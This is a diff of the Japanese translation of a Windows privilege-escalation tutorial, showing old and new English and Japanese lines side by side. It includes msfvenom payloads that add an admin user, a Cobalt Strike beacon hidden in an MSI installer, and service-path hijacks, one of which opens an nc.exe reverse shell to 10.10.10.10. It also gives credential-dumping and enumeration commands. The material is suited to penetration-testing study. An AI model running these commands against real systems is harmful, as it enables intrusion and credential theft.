[**https://github.com/Dec0ne/KrbRelayUp**](https://github.com/Dec0ne/KrbRelayUp) で見つかります。 +Find the **exploit in** [**https://github.com/Dec0ne/KrbRelayUp**](https://github.com/Dec0ne/KrbRelayUp) +Find the **exploit in** [**https://github.com/Dec0ne/KrbRelayUp**](https://github.com/Dec0ne/KrbRelayUp) -攻撃フローの詳細については次を参照してください: [https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/](https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/) +For more information about the flow of the attack check [https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/](https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/) +攻撃のフローについての詳細は次を参照してください: [https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/](https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/) ## AlwaysInstallElevated -**もし** これら2つのレジストリが **有効**（値が **0x1**）になっている場合、あらゆる権限のユーザーが NT AUTHORITY\\**SYSTEM** として `*.msi` ファイルを**インストール**（実行）できます。 +**If** these 2 registers are **enabled** (value is **0x1**), then users of any privilege can **install** (execute) `*.msi` files as NT AUTHORITY\\**SYSTEM**. +**もし** これら2つのレジストリが **有効 (enabled)** （値が **0x1**）になっていると、あらゆる権限のユーザーが `*.msi` ファイルを NT AUTHORITY\\**SYSTEM** として **install**（実行）できます。 ```bash reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated @@ -223,11 +235,11 @@ reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallEle msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted ``` -If you have a meterpreter session がある場合、この手法はモジュール **`exploit/windows/local/always_install_elevated`** を使用して自動化できます。 +meterpreterセッションがある場合、この手法はモジュール **`exploit/windows/local/always_install_elevated`** を使用して自動化できます ### PowerUP -power-up の `Write-UserAddMSI` コマンドを使用して、現在のディレクトリ内に権限昇格用の Windows MSI バイナリを作成します。このスクリプトはユーザー/グループの追加を促す事前コンパイル済みの MSI インストーラを書き出します（そのため GIU access が必要です）： +カレントディレクトリ内に権限昇格用のWindows MSIバイナリを作成するために、power-upの `Write-UserAddMSI` コマンドを使用します。 このスクリプトは、ユーザー/グループの追加を要求するプリコンパイル済みMSIインストーラを書き出します（そのためGIU accessが必要です）: ``` Write-UserAddMSI ``` @@ -235,7 +247,7 @@ Write-UserAddMSI ### MSI Wrapper -このチュートリアルを読んで、これらのツールを使ってMSIラッパーを作成する方法を学んでください。**.bat**ファイルをラップすれば、単にコマンドラインを実行したいだけの場合にも対応できます。 +このチュートリアルを読んで、これらのツールを使ってMSI Wrapperを作成する方法を学んでください。コマンドラインを**単に****実行**したい場合は、**.bat** ファイルをラップできることに注意してください。 {{#ref}} @@ -251,44 +263,45 @@ create-msi-with-wix.md ### Create MSI with Visual Studio -- **Generate** with Cobalt Strike or Metasploit a **new Windows EXE TCP payload** in `C:\privesc\beacon.exe` -- **Visual Studio** を開き、**Create a new project** を選択して検索ボックスに "installer" と入力します。**Setup Wizard** プロジェクトを選択して **Next** をクリックします。 -- プロジェクト名を **AlwaysPrivesc** のように付け、場所に **`C:\privesc`** を使用し、**place solution and project in the same directory** を選択して **Create** をクリックします。 -- 4ステップのうちステップ3（choose files to include）に到達するまで **Next** を繰り返しクリックします。**Add** をクリックして先ほど生成した Beacon ペイロードを選択し、**Finish** をクリックします。 -- Solution Explorer で **AlwaysPrivesc** プロジェクトを選択し、**Properties** で **TargetPlatform** を **x86** から **x64** に変更します。 -- インストールされたアプリをより正当らしく見せるために変更できる他のプロパティ（例: **Author**, **Manufacturer**）があります。 -- プロジェクトを右クリックして **View > Custom Actions** を選択します。 -- **Install** を右クリックして **Add Custom Action** を選択します。 -- **Application Folder** をダブルクリックし、**beacon.exe** ファイルを選択して **OK** をクリックします。これにより、インストーラーが実行されると、beacon ペイロードがすぐに実行されるようになります。 -- **Custom Action Properties** で **Run64Bit** を **True** に変更します。 -- 最後に **ビルドします**。 -- If the warning `File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'` is shown, make sure you set the platform to x64. +- Cobalt Strike または Metasploit を使用して、`C:\privesc\beacon.exe` に新しい **Windows EXE TCP payload** を生成します。 +- Visual Studio を開き、Create a new project を選択して検索ボックスに "installer" と入力します。Setup Wizard プロジェクトを選択し、Next をクリックします。 +- プロジェクト名を例えば **AlwaysPrivesc** にし、ロケーションに **`C:\privesc`** を使用し、**place solution and project in the same directory** を選択して、**Create** をクリックします。 +- **Next** をクリックし続け、4段階中のステップ3 (choose files to include) まで進みます。**Add** をクリックして先ほど生成した Beacon ペイロードを選択し、**Finish** をクリックします。 +- **Solution Explorer** で **AlwaysPrivesc** プロジェクトを選択し、**Properties** で **TargetPlatform** を **x86** から **x64** に変更します。 +- Author や Manufacturer のように変更できる他のプロパティもあり、インストールされたアプリをより正規のように見せることができます。 +- プロジェクトを右クリックし、**View > Custom Actions** を選択します。 +- **Install** を右クリックし、**Add Custom Action** を選択します。 +- **Application Folder** をダブルクリックし、**beacon.exe** を選択して **OK** をクリックします。これにより、インストーラが実行されるとすぐに Beacon ペイロードが実行されるようになります。 +- **Custom Action Properties** の下で **Run64Bit** を **True** に変更します。 +- 最後に、**build it**（ビルド）します。 +- `File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'` という警告が表示された場合は、プラットフォームを x64 に設定していることを確認してください。 ### MSI Installation -悪意のある `.msi` ファイルの **インストール** をバックグラウンドで実行するには: +悪意のある `.msi` ファイルの**インストール**を**バックグラウンド**で実行するには： ``` msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi ``` -この脆弱性を悪用するには、_exploit/windows/local/always_install_elevated_ を使用できます。 +この脆弱性を悪用するには、次を使用できます: _exploit/windows/local/always_install_elevated_ -## Antivirus and Detectors +## アンチウイルスと検出 ### 監査設定 -これらの設定は、何が**ログに記録される**かを決めるため、注意が必要です。 +これらの設定は何が**ログに記録されるか**を決めるため、注意が必要です。 ``` reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit ``` ### WEF -Windows Event Forwarding は、ログがどこに送られているかを把握しておくと有益です。 +Windows Event Forwarding は、ログがどこに送信されているかを知っておくと興味深い。 ```bash reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager ``` ### LAPS -**LAPS** は、ドメインに参加しているコンピュータ上のローカル Administrator パスワードの管理のために設計されており、各パスワードが一意でランダム化され、定期的に更新されるようにします。これらのパスワードは Active Directory に安全に格納され、ACLs を通じて十分な権限が付与されたユーザーのみがアクセスでき、許可されている場合にローカル管理者パスワードを表示できます。 +**LAPS** は、ドメインに参加しているコンピューター上のローカル Administrator パスワードの管理を目的として設計されており、各パスワードが **一意で、ランダム化され、定期的に更新される** ことを保証します。これらのパスワードは Active Directory に安全に格納され、ACLs を通じて十分な権限が付与されたユーザーのみがアクセスでき、許可された場合にローカル admin パスワードを表示できます。 + {{#ref}} ../active-directory-methodology/laps.md @@ -296,38 +309,37 @@ reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\Subs ### WDigest -有効な場合、**平文のパスワードは LSASS に保存されます** (Local Security Authority Subsystem Service).\ +有効な場合、**平文のパスワードが LSASS に保存されます** (Local Security Authority Subsystem Service).\ [**More info about WDigest in this page**](../stealing-credentials/credentials-protections.md#wdigest). ```bash reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential ``` ### LSA Protection -Windows 8.1以降、MicrosoftはLocal Security Authority (LSA)に対して、信頼されていないプロセスによる**メモリの読み取り**やコード注入の試みを**ブロック**する強化された保護を導入し、システムをさらに安全にしました。\ -[**More info about LSA Protection here**](../stealing-credentials/credentials-protections.md#lsa-protection). +**Windows 8.1** 以降、Microsoft は Local Security Authority (LSA) に対する保護を強化し、信頼されていないプロセスによるそのメモリの読み取りやコードの注入を試みる動作を **ブロック** してシステムをさらに保護するようにしました。\ +[**LSA Protection の詳細はこちら**](../stealing-credentials/credentials-protections.md#lsa-protection). ```bash reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL ``` ### Credentials Guard -**Credential Guard** は **Windows 10** で導入されました。 - -その目的は、デバイスに保存された credentials を pass-the-hash のような攻撃から保護することです。| [**More info about Credentials Guard here.**](../stealing-credentials/credentials-protections.md#credential-guard) +**Credential Guard** は **Windows 10** で導入されました。これは、デバイスに保存された資格情報を pass-the-hash 攻撃のような脅威から保護することを目的としています。| [**More info about Credentials Guard here.**](../stealing-credentials/credentials-protections.md#credential-guard) ```bash reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags ``` ### Cached Credentials -**Domain credentials** は **Local Security Authority** (LSA) によって認証され、OS のコンポーネントによって利用されます。ユーザーのログオンデータが登録済みのセキュリティパッケージによって認証されると、通常そのユーザーの domain credentials が確立されます。\ -[**Cached Credentials に関する詳細はこちら**](../stealing-credentials/credentials-protections.md#cached-credentials). +**Domain credentials** は **Local Security Authority** (LSA) によって認証され、オペレーティングシステムのコンポーネントで利用されます。ユーザーのログオンデータが登録済みのセキュリティパッケージによって認証されると、通常そのユーザーの domain credentials が確立されます.\ + +[**More info about Cached Credentials here**](../stealing-credentials/credentials-protections.md#cached-credentials). ```bash reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT ``` -## ユーザーとグループ +## ユーザー & グループ -### ユーザーとグループの列挙 +### ユーザー & グループの列挙 -所属しているグループの中に興味深い権限を持つものがないか確認してください。 +自分が所属するグループに興味深い権限がないか確認してください。 ```bash # CMD net users %username% #Me @@ -344,24 +356,24 @@ Get-LocalGroupMember Administrators | ft Name, PrincipalSource ``` ### 特権グループ -もしあなたが**特定の特権グループに属している場合、権限を昇格できる可能性があります**。ここで特権グループとそれらを悪用して権限を昇格する方法を学んでください： +もしあなたが**何らかの特権グループに属しているなら、権限を昇格できる可能性があります**。ここで特権グループとそれを悪用して権限を昇格させる方法を学んでください: {{#ref}} ../active-directory-methodology/privileged-groups-and-token-privileges.md {{#endref}} -### Token manipulation +### Token の操作 -**詳しくはこちら**: このページで **token** が何かを確認してください: [**Windows Tokens**](../authentication-credentials-uac-and-efs/index.html#access-tokens).\ -次のページを確認して、**興味深い tokens とそれらを悪用する方法について学んでください**： +**詳しくは** このページで **token** が何かを学んでください: [**Windows Tokens**](../authentication-credentials-uac-and-efs/index.html#access-tokens).\ +次のページをチェックして、**興味深い tokens について学び**、それらを悪用する方法を確認してください: {{#ref}} privilege-escalation-abusing-tokens.md {{#endref}} -### ログインユーザー / セッション +### ログイン中のユーザー / セッション ```bash qwinsta klist sessions @@ -381,10 +393,10 @@ powershell -command "Get-Clipboard" ``` ## 実行中のプロセス -### ファイルとフォルダの権限 +### ファイルおよびフォルダの権限 -まず最初に、プロセスを列挙して、**プロセスのコマンドライン内にパスワードがないか確認する**。\ -実行中の**バイナリを上書きできるか**、またはバイナリのフォルダに書き込み権限があり、可能な[**DLL Hijacking attacks**](dll-hijacking/index.html)を悪用できるか確認する: +まず最初に、プロセスを列挙して、**プロセスのコマンドライン内にパスワードが含まれていないかを確認する**。\ +実行中のバイナリを**上書きできるか**、あるいはバイナリフォルダに書き込み権限があるかを確認し、可能であれば [**DLL Hijacking attacks**](dll-hijacking/index.html) を悪用する: ```bash Tasklist /SVC #List processes running and services tasklist /v /fi "username eq system" #Filter "system" processes @@ -395,9 +407,9 @@ Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "sv #Without usernames Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id ``` -常に [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](../../linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md) の存在を確認してください。 +常に[**electron/cef/chromium debuggers**が実行されていないか確認してください。悪用して権限を昇格させる可能性があります](../../linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md). -**プロセスのバイナリのパーミッションを確認する** +**プロセスのバイナリの権限を確認する** ```bash for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do ( for /f eol^=^"^ delims^=^" %%z in ('echo %%x') do ( @@ -406,7 +418,7 @@ icacls "%%z" ) ) ``` -**プロセスのバイナリのフォルダの権限を確認する (**[**DLL Hijacking**](dll-hijacking/index.html)**)** +**プロセスのバイナリが置かれているフォルダの権限を確認する（**[**DLL Hijacking**](dll-hijacking/index.html)**）** ```bash for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do ( @@ -414,15 +426,15 @@ icacls "%%~dpy\" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone todos %username%" && echo. ) ``` -### メモリからのパスワード抽出 +### Memory Password mining -実行中のプロセスのメモリダンプは、sysinternals の **procdump** を使って作成できます。FTP のようなサービスは **credentials in clear text in memory** を保持していることがあるため、メモリをダンプして credentials を読み取ってみてください。 +sysinternals の **procdump** を使って、実行中のプロセスのメモリダンプを作成できます。FTP のようなサービスは **credentials in clear text in memory** を持っていることがあるので、メモリをダンプしてそれらを読み取ってみてください。 ```bash procdump.exe -accepteula -ma ``` -### 安全でない GUI アプリ +### 脆弱な GUI アプリ -**SYSTEM として実行されているアプリケーションは、ユーザーが CMD を起動したり、ディレクトリを参照したりできる場合があります。** +**SYSTEM として動作するアプリケーションは、ユーザーに CMD を起動させたり、ディレクトリを閲覧させたりする可能性があります。** 例: "Windows Help and Support" (Windows + F1)、"command prompt" を検索し、"Click to open Command Prompt" をクリック @@ -441,11 +453,11 @@ Get-Service ```bash sc qc ``` -各サービスごとに必要な特権レベルを確認するために、_Sysinternals_ のバイナリ **accesschk** を用意しておくことを推奨します。 +各サービスの必要な権限レベルを確認するため、_Sysinternals_ のバイナリ **accesschk** を用意しておくことを推奨します。 ```bash accesschk.exe -ucqv #Check rights for different groups ``` -「Authenticated Users」が任意のサービスを変更できるか確認することを推奨します: +"Authenticated Users" が任意のサービスを変更できるかどうかを確認することをおすすめします: ```bash accesschk.exe -uwcqv "Authenticated Users" * /accepteula accesschk.exe -uwcqv %USERNAME% * /accepteula @@ -456,17 +468,17 @@ accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version ### サービスを有効にする -次のエラーが発生する場合（例えば SSDPSRV の場合）: +次のエラーが発生している場合（例えば SSDPSRV）: _システム エラー 1058 が発生しました._\ -_サービスを開始できません。無効になっているか、関連付けられた有効なデバイスがないためです._ +_サービスは開始できません。無効になっているか、関連付けられた有効なデバイスが存在しないためです._ 次のコマンドで有効にできます ```bash sc config SSDPSRV start= demand sc config SSDPSRV obj= ".\LocalSystem" password= "" ``` -**サービス upnphost が動作するには SSDPSRV が必要であることに注意してください（XP SP1 向け）** +**サービス upnphost が動作するためには SSDPSRV に依存していることに注意してください（XP SP1 向け）** **この問題の別の回避策** は次を実行することです: ``` @@ -474,7 +486,7 @@ sc.exe config usosvc start= auto ``` ### **サービスのバイナリパスを変更する** -サービスに対して "Authenticated users" グループが **SERVICE_ALL_ACCESS** を持っている場合、サービスの実行バイナリを変更することが可能です。変更して実行するには **sc** を使用します: +サービス上で "Authenticated users" グループが **SERVICE_ALL_ACCESS** を所持している場合、そのサービスの実行可能バイナリを変更することが可能です。変更および実行のために **sc** を使用するには： ```bash sc config binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe" sc config binpath= "net localgroup administrators username /add" @@ -482,41 +494,40 @@ sc config binpath= "cmd \c C:\Users\nc.exe 10.10.10.10 4444 -e cm sc config SSDPSRV binpath= "C:\Documents and Settings\PEPE\meter443.exe" ``` -### サービスを再起動 +### サービスの再起動 ```bash wmic service NAMEOFSERVICE call startservice net stop [service name] && net start [service name] ``` -さまざまな権限を通じて特権昇格が可能です: +権限昇格は以下のようなさまざまな権限を通じて可能です： -- **SERVICE_CHANGE_CONFIG**: サービスのバイナリを再構成することを許可します。 -- **WRITE_DAC**: アクセス許可の再設定を可能にし、サービス構成を変更できるようにします。 -- **WRITE_OWNER**: 所有権の取得とアクセス許可の再設定を許可します。 -- **GENERIC_WRITE**: サービス構成を変更する能力が含まれます。 -- **GENERIC_ALL**: 同様にサービス構成を変更する能力が含まれます。 +- **SERVICE_CHANGE_CONFIG**: サービスのバイナリを再構成できます。 +- **WRITE_DAC**: 権限の再設定を可能にし、結果としてサービス設定を変更できるようになります。 +- **WRITE_OWNER**: 所有権の取得と権限の再設定を許可します。 +- **GENERIC_WRITE**: サービス設定を変更する能力を含みます。 +- **GENERIC_ALL**: 同様にサービス設定を変更する能力を含みます。 この脆弱性の検出と悪用には、_exploit/windows/local/service_permissions_ を利用できます。 ### サービスバイナリの弱い権限 -**サービスによって実行されるバイナリを変更できるかどうかを確認する** または バイナリが配置されているフォルダに **書き込み権限があるかどうか** を確認する ([**DLL Hijacking**](dll-hijacking/index.html))**.**\ - -サービスによって実行されるすべてのバイナリは **wmic** を使用して取得でき（not in system32）、権限は **icacls** で確認できます: +**サービスによって実行されるバイナリを変更できるかどうかを確認する**、またはバイナリが配置されているフォルダに**書き込み権限があるか**を確認してください ([**DLL Hijacking**](dll-hijacking/index.html))**.**\ +サービスによって実行されるすべてのバイナリは **wmic** を使って取得できます（system32内のものは除く）、権限は **icacls** で確認できます： ```bash for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt for /f eol^=^"^ delims^=^" %a in (%temp%\perm.txt) do cmd.exe /c icacls "%a" 2>nul | findstr "(M) (F) :\" ``` -また**sc**と**icacls**を使用することもできます: +また、**sc** と **icacls** を使用できます: ```bash sc query state= all | findstr "SERVICE_NAME:" >> C:\Temp\Servicenames.txt FOR /F "tokens=2 delims= " %i in (C:\Temp\Servicenames.txt) DO @echo %i >> C:\Temp\services.txt FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> C:\Temp\path.txt ``` -### サービス registry の permissions を変更する権限 +### サービスレジストリの変更権限 -任意の service registry を変更できるかどうかを確認する必要があります.\ -次の方法で、ある service **registry** に対する **permissions** を **check** できます: +任意のサービスレジストリを変更できるか確認してください。\\ +次のようにしてサービス**レジストリ**に対する**権限**を**確認**できます: ```bash reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services @@ -525,32 +536,32 @@ for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\ get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i " Users Path Everyone" ``` -サービスが実行するバイナリを変更できるかどうかを確認するには、**Authenticated Users** または **NT AUTHORITY\INTERACTIVE** が `FullControl` 権限を持っているかを確認してください。もしそうであれば、サービスによって実行されるバイナリを変更できます。 +**Authenticated Users** または **NT AUTHORITY\INTERACTIVE** が `FullControl` 権限を持っているかどうかを確認する必要があります。もしそうであれば、サービスによって実行されるバイナリを変更できます。 -実行されるバイナリの Path を変更するには： +実行されるバイナリの Path を変更するには: ```bash reg add HKLM\SYSTEM\CurrentControlSet\services\ /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f ``` -### サービスレジストリの AppendData/AddSubdirectory 権限 +### Services レジストリの AppendData/AddSubdirectory 権限 -レジストリに対してこの権限がある場合、**このレジストリからサブレジストリを作成できます**。Windows services の場合、これは **arbitrary code を実行するのに十分です:** +レジストリに対してこの権限がある場合、**このレジストリからサブレジストリを作成できる**ことを意味します。Windows サービスの場合、これは**任意のコードを実行するのに十分です:** {{#ref}} appenddata-addsubdirectory-permission-over-service-registry.md {{#endref}} -### 引用符で囲まれていないサービスパス +### 引用符で囲まれていない Service Paths -実行ファイルへのパスが引用符で囲まれていない場合、Windows はスペースの前までの各候補を順に実行しようとします。 +実行ファイルのパスが引用符で囲まれていない場合、Windows はスペースより前の各候補を順に実行しようとします。 -例えば、パス _C:\Program Files\Some Folder\Service.exe_ の場合、Windows は次のような実行を試みます: +For example, for the path _C:\Program Files\Some Folder\Service.exe_ Windows will try to execute: ```bash C:\Program.exe C:\Program Files\Some.exe C:\Program Files\Some Folder\Service.exe ``` -組み込みの Windows サービスに属するものを除き、引用符で囲まれていないサービスパスをすべて列挙する: +組み込みの Windows サービスに属するものを除き、引用符で囲まれていないすべてのサービスパスを列挙する: ```bash wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v '\"' wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v '\"' # Not only auto services @@ -570,19 +581,19 @@ echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s && ```bash gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name ``` -**この脆弱性はmetasploitで検出および悪用できます**: `exploit/windows/local/trusted\_service\_path` 手動でmetasploitを使ってサービスバイナリを作成できます: +**検出および悪用できます** この脆弱性は metasploit の `exploit/windows/local/trusted\_service\_path` で検出・悪用できます。metasploit を使って手動で service binary を作成することもできます: ```bash msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f exe-service -o service.exe ``` -### 回復アクション +### 復旧アクション -Windowsでは、サービスが失敗した場合に実行するアクションをユーザーが指定できます。この機能は、binary を指すように設定できます。この binary が置き換え可能であれば、privilege escalation が可能になることがあります。詳細は[公式ドキュメント]()を参照してください。 +Windowsでは、サービスが失敗した場合に実行するアクションをユーザーが指定できます。この機能はバイナリを指すように設定できます。もしそのバイナリを置き換え可能であれば、権限昇格が可能になる場合があります。詳細は[official documentation]()を参照してください。 ## アプリケーション ### インストール済みアプリケーション -**permissions of the binaries**（上書きできれば privilege escalation が可能かもしれません）と **folders** の権限を確認してください（[DLL Hijacking](dll-hijacking/index.html)）。 +バイナリの**権限**を確認してください（上書きして権限昇格できる可能性があります）、および**フォルダ**の権限も確認してください（[DLL Hijacking](dll-hijacking/index.html)）。 ```bash dir /a "C:\Program Files" dir /a "C:\Program Files (x86)" @@ -591,11 +602,11 @@ reg query HKEY_LOCAL_MACHINE\SOFTWARE Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name ``` -### Write Permissions +### 書き込み権限 -config file を変更して特定のファイルを読み取れるか、または Administrator account (schedtasks) によって実行される binary を変更できるかを確認します。 +特定のファイルを読み取るためにconfig fileを変更できるか、またはAdministrator account (schedtasks)によって実行されるbinaryを変更できるかを確認してください。 -システム内の弱い folder/files permissions を見つける方法の一つは次のとおりです： +システム内の弱いフォルダ/ファイルの権限を見つける方法の一つは次のとおりです: ```bash accesschk.exe /accepteula # Find all weak folder permissions per drive. @@ -620,22 +631,22 @@ Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Ac ``` ### 起動時に実行 -**他のユーザーによって実行される registry または binary を上書きできるか確認する。**\ -**読む** **以下のページ** を参照して、興味深い **autoruns の権限昇格に関する場所** について詳しく学んでください: +**別のユーザーによって実行される registry または binary を上書きできるか確認してください。**\ +**読む** ために **以下のページ** を確認し、興味深い **autoruns locations to escalate privileges** について詳しく学んでください： {{#ref}} privilege-escalation-with-autorun-binaries.md {{#endref}} -### ドライバ +### Drivers -可能性のある **サードパーティ製の挙動不審/脆弱な** ドライバを探す +可能性のある **third party weird/vulnerable** drivers を探してください ```bash driverquery driverquery.exe /fo table driverquery /SI ``` -ドライバが arbitrary kernel read/write primitive を公開している場合（不適切に設計された IOCTL ハンドラでよく見られる）、kernel memory から直接 SYSTEM token を盗むことで権限を昇格させることができます。手順は以下を参照してください: +If a driver exposes an arbitrary kernel read/write primitive (common in poorly designed IOCTL handlers), you can escalate by stealing a SYSTEM token directly from kernel memory. See the step‑by‑step technique here: {{#ref}} arbitrary-kernel-rw-token-theft.md @@ -644,14 +655,13 @@ arbitrary-kernel-rw-token-theft.md ## PATH DLL Hijacking -もし **write permissions inside a folder present on PATH** を持っている場合、プロセスによってロードされた DLL をハイジャックして **escalate privileges** できる可能性があります。 +もし **write permissions inside a folder present on PATH** がある場合、プロセスが読み込む DLL をハイジャックして **escalate privileges** できる可能性があります。 -PATH 内のすべてのフォルダの権限を確認してください: +PATH 内のすべてのフォルダの権限を確認: ```bash for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. ) ``` -このチェックを悪用する方法の詳細については: - +このチェックを悪用する方法の詳細は次を参照してください： {{#ref}} dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md @@ -669,17 +679,17 @@ net share #Check current shares ``` ### hosts file -hosts file にハードコードされている他の既知のコンピュータを確認する +hosts file にハードコードされた他の既知のコンピュータを確認する ``` type C:\Windows\System32\drivers\etc\hosts ``` -### ネットワークインターフェースとDNS +### ネットワークインターフェース & DNS ``` ipconfig /all Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address Get-DnsClientServerAddress -AddressFamily IPv4 | ft ``` -### 開放ポート +### Open Ports 外部から**制限されたサービス**を確認する ```bash @@ -690,14 +700,14 @@ netstat -ano #Opened ports? route print Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex ``` -### ARP テーブル +### ARPテーブル ``` arp -A Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L ``` -### Firewall Rules +### ファイアウォールのルール -[**このページで Firewall に関連するコマンドを確認してください**](../basic-cmd-for-pentesters.md#firewall) **(ルールの一覧表示、ルールの作成、無効化、無効化...)** +[**Check this page for Firewall related commands**](../basic-cmd-for-pentesters.md#firewall) **(ルールの一覧、ルールの作成、無効化、無効化...)** さらに[ commands for network enumeration here](../basic-cmd-for-pentesters.md#network) @@ -708,16 +718,16 @@ C:\Windows\System32\wsl.exe ``` バイナリ `bash.exe` は `C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe` にも存在します。 -root ユーザーを取得すれば任意のポートで待ち受けできます（`nc.exe` を初めてポートで待ち受けに使うと、GUI で `nc` をファイアウォールで許可するか確認されます）。 +root user を取得すると、任意のポートで待ち受けできます（最初に `nc.exe` をポートで待ち受けに使うと、GUI で `nc` を firewall によって許可するか尋ねられます）。 ```bash wsl whoami ./ubuntun1604.exe config --default-user root wsl whoami wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE' ``` -簡単に bash を root として起動するには、`--default-user root` を試してください +簡単にrootとしてbashを起動するには、`--default-user root`を試してください -フォルダ `C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\` で `WSL` のファイルシステムを参照できます。 +フォルダ`C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\`で`WSL`ファイルシステムを参照できます。 ## Windows 資格情報 @@ -735,12 +745,12 @@ reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDef ``` ### 資格情報マネージャー / Windows vault -From [https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault](https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault)\ -Windows Vault は、**Windows** が **ユーザーを自動的にログインさせることができる** サーバー、ウェブサイト、その他のプログラムのためのユーザー資格情報を保存します。最初は、ユーザーが Facebook、Twitter、Gmail などの認証情報を保存してブラウザ経由で自動的にログインできるように見えるかもしれません。しかしそうではありません。 +From [https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault](https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault)\ +Windows Vault は、**Windows** が **ユーザーを自動的にログインさせる** サーバー、Web サイト、その他のプログラム用のユーザー資格情報を保存します。最初は、ユーザーが Facebook、Twitter、Gmail などの資格情報を保存してブラウザで自動的にログインするように見えるかもしれませんが、そうではありません。 -Windows Vault は Windows が自動的にログインできる資格情報を保存しており、これは任意の **Windows アプリケーションがリソースにアクセスするために資格情報を必要とする場合**（サーバーやウェブサイト）**この Credential Manager と Windows Vault を利用できる** ことを意味し、ユーザーが毎回ユーザー名とパスワードを入力する代わりに提供された資格情報を使用します。 +Windows Vault は、Windows が自動的にログインできる資格情報を保存します。つまり、リソース（サーバーや Web サイト）にアクセスするために資格情報を必要とする**Windows アプリケーション**は**この Credential Manager と Windows Vault を利用できる**ため、ユーザーが毎回ユーザー名とパスワードを入力する代わりに保存された資格情報を使用できます。 -アプリケーションが Credential Manager と対話しない限り、特定のリソースの資格情報を使用することはできないと思います。したがって、あなたのアプリケーションが vault 